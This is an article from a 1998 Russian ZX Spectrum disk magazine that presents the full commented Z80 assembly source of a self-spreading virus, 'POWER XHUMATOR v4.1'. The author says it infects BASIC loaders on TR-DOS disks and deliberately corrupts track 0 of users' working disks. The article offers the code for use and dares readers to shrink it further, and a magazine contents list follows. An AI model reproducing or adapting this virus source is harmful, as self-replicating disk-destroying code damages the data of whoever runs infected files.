Impulse #03
09 декабря 1998

Чайникам - Как сделать реальный вирус на Спектруме.



 ┌─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┐
 │▓▓▓▓ ░▒░ ЗАПОЛНЕННЫМ ЧАЙНИКАМ ▒░▒░ ▓▓▓│
 └─────▒░▒░▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▒░▒────┘
  
──────────────────────────────────────────

V. Как сделать реальный вирус на спектруме
   (из неразгаданных тайн процессора Z-80)

   Такого на спектруме еще не было! Народ,
предлагаю  Вашему  вниманию  исходник гло-
бальной разработки - вируса  под названием
POWER  XHUMATOR версии 4.1.  Первоначально
сей  вирус занимал #A3 байта и писался вот
так, от балды. Но мне понравилась идея и я
оптимизировал код вируса до #8A байт и на-
писал  даже  инсталляшку. Что он творит? А
творит  он  самое подлое - гадит 0 трек на
Ваших  драгоценных  дисках, и что еще под-
лее, так это то, что XHUM гадит 0 трек еще
и  на  Ваших  рабочих дисках. XHUM встраи-
вается  в BASIC-лоадеры всевозможных прог,
не  превышающие  #XX72  байт и ждет своего
часа.

   Мало  того,  что  вирус  способен само-
распространяться;  файлы, содержащие вирус
inside, могут подвергаться любому насилию,
такому как копирование, уплотнение, транс-
портировка6  по  почте  и.т.д. Конечно, не
гарантирована  работоспособность вируса со
100%  файлов, но, извините меня,  это все-
таки  всего  лишь #8A байт.

   Я не буду вдаваться в принцип  работы -
ниже приведен исходник, и те, кому это ин-
тересно,  разберутся во всем  сами.  А для
тупорылых ребят я  оставил  тупорылые ком-
ментарии, которые помогут им постичь неиз-
веданное.


;-------------------------------
;     POWER XHUMATOR  v4.1
;  Special Edition For ZX-NET
;     Koded & Optimized By
; !mPeR!0/P0WER HaCkZ All!aNcE
;     0f PR0 HaCkZ DyNaZ7Y
;-------------------------------

LEN  EQU     #8A
     ORG     #8000
     RST     #38         ;SP-2>SP, PC>(SP)
                         ;#38>PC
     EXX                 ;BC<>BC', DE<>DE'
                         ;HL<>HL'
     DEC     SP          ;SP-1>SP
     DEC     SP          ;SP-1>SP
     POP     AF          ;(SP)>AF, SP+2>SP
     EX      AF,AF'      ;AF<>AF'
     LD      HL,#C9F1    ;#C9F1>HL
     LD      (#5CC2),HL  ;HL>(#5CC2)
     LD      DE,#0000    ;#0000>DE
     LD      BC,#0905    ;#0905>BC
     PUSH    HL          ;SP-2>SP, HL>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
     EX      (SP),HL     ;(SP)<>HL
FIND POP     AF          ;(SP)>AF, SP+2>SP
     LD      A,(HL)      ;(HL)>A
     POP     DE          ;(SP)>DE, SP+2>SP
     AND     A           ;A AND A>A
     JR      Z,EXIT      ;EXIT>PC if Z
     PUSH    DE          ;SP-2>SP, DE>(SP)
     LD      DE,#0004    ;#0004>DE
     ADD     HL,DE       ;HL+DE>HL
     ADD     HL,DE       ;HL+DE>HL
     LD      A,(HL)      ;(HL)>A
     INC     HL          ;HL+1>HL
     LD      C,(HL)      ;(HL)>C
     PUSH    HL          ;SP-2>SP, HL>(SP)
     INC     HL          ;HL+1>HL
     LD      B,(HL)      ;(HL)>B
     ADD     HL,DE       ;HL+DE>HL
     LD      E,(HL)      ;(HL)>E
     INC     HL          ;HL+1>HL
     LD      D,(HL)      ;(HL)>D
     INC     HL          ;HL+1>HL
     CP      "B"         ;A-"B"
     JR      NZ,FIND     ;FIND>PC if NZ
     LD      A,C         ;C>A
     CP      #FD-LEN     ;A-#FD+LEN
     JR      NC,FIND     ;FIND>PC if NC
     POP     HL          ;(SP)>HL, SP+2>SP
     ADD     A,LEN       ;A+LEN>A
     LD      (HL),A      ;A>(HL)
     LD      HL,#DD3B    ;#DD3B>HL
     PUSH    BC          ;SP-2>SP, BC>(SP)
     PUSH    DE          ;SP-2>SP, DE>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     PUSH    BC          ;SP-2>SP, BC>(SP)
     PUSH    BC          ;SP-2>SP, BC>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     INC     B           ;B+1>B
     LD      C,#05       ;#05>C
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
     POP     HL          ;(SP)>HL, SP+2>SP
     POP     BC          ;(SP)>BC, SP+2>SP
     ADD     HL,BC       ;HL+BC>HL
     PUSH    HL          ;SP-2>SP, HL>(SP)
     PUSH    HL          ;SP-2>SP, HL>(SP)
     EX      DE,HL       ;DE<>HL
     LD      HL,LEN      ;LEN>HL
     PUSH    HL          ;SP-2>SP, HL>(SP)
     ADD     HL,DE       ;HL+DE>HL
     EX      DE,HL       ;DE<>HL
     LDIR                ;(HL)>(DE)<─────┐
                         ;HL+1>HL,DE+1>DE│
                         ;BC-1>BC, BC>0?─┘
     POP     BC          ;(SP)>BC, SP+2>SP
     POP     DE          ;(SP)>DE, SP+2>SP
     EX      AF,AF'      ;AF<>AF'
     PUSH    AF          ;SP-2>SP, AF>(SP)
     POP     HL          ;(SP)>HL, SP+2>SP
     DEC     HL          ;HL-1>HL
     LDIR                ;(HL)>(DE)<─────┐
                         ;HL+1>HL,DE+1>DE│
                         ;BC-1>BC, BC>0?─┘
     POP     DE          ;(SP)>DE, SP+2>SP
     POP     BC          ;(SP)>BC, SP+2>SP
     LD      H,D         ;D>H
     LD      L,E         ;E>L
     RES     #07,D       ;#00>D(#07)
     LD      A,#3D       ;#3D>A
     CPDR                ;┌─>A=(HL)──────┐
                         ;│HL+1>HL,BC-1>BC
                         ;└BC>0?         │
     ADD     A,(HL)      ;(HL)>A<-───────┘
     CP      #50         ;A-#50
     JR      NZ,SAVE     ;SAVE>PC if NZ
     LD      (HL),E      ;E>(HL)
     INC     HL          ;HL+1>HL
     LD      (HL),D      ;D>(HL)
SAVE POP     HL          ;(SP)>HL, SP+2>SP
     POP     DE          ;(SP)>DE, SP+2>SP
     POP     BC          ;(SP)>BC, SP+2>SP
     INC     B           ;B+1>B
     LD      C,#06       ;#06>C
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
EXIT POP     HL          ;(SP)>HL, SP+2>SP
     LD      DE,#0000    ;#0000>DE
     LD      BC,#0906    ;#0906>BC
     CALL    #3D13       ;SP-2>SP, PC>(SP)
                         ;#3D13>PC
     EXX                 ;BC<>BC', DE<>DE'
                         ;HL<>HL'
     JP      #3D13       ;#3D13>PC

   Наверное, все  на  этот раз. Попробуйте
обрезать  мой  код  хотя  бы на 1 байт без
утери функциональных возможностей XHUMа, и
если  у Вас это получится, то звякните мне
как-нибудь.
 



Другие статьи номера:

FUNTOP98 - Размышления по поводу FunTop98

Пираты - Пираты отбирают последние бабки у Медноногова.

Вступление - Слишком откровенный номер.

Брестские новости - Кто чем живет и кто чем дышит.

Обзор ПО - Обзор новинок: Monstrland

Обзор ПО - Обзор новинок: Head Ball

Обзор ПО - Обзор новинок: Бегство на Хархан

Обзор ПО - Обзор новинок: Last Hero of the Light Forces

Обзор ПО - Обзор новинок: Deja Vu #6.

Обзор ПО - Обзор новинок: Spectrum Expert #2

Обзор ПО - Обзор новинок: Operation of Red Refrigenerator

Кофейникам - Как загрузить ассемблер TASM и подготовить его к работе;переход из Tasmа в Sts;

Кофейникам - включение/выключение Beeperа в Tasme

Кофейникам - Как вызвать встроенный редактор.

Чайникам - Как сделать реальный вирус на Спектруме.

Премьера - Презентация MONSTER4.

Глюк - О глюках в Real Commander v1.6, Echo #5, Text Format v1.5.

PRORIL - Нереальные события в реальном мире.

Реклама - Реклама и объявления.


Темы: Игры, Программное обеспечение, Пресса, Аппаратное обеспечение, Сеть, Демосцена, Люди, Программирование

Похожие статьи:
TR-DOS для начинающих - Окончание.
Итог - Для критиков моего творчества: я пишу статьи на научную тему, только чтобы прославится.
For Coderz - Алгоритм нахождения целой части квадратного корня.

В этот день...   21 января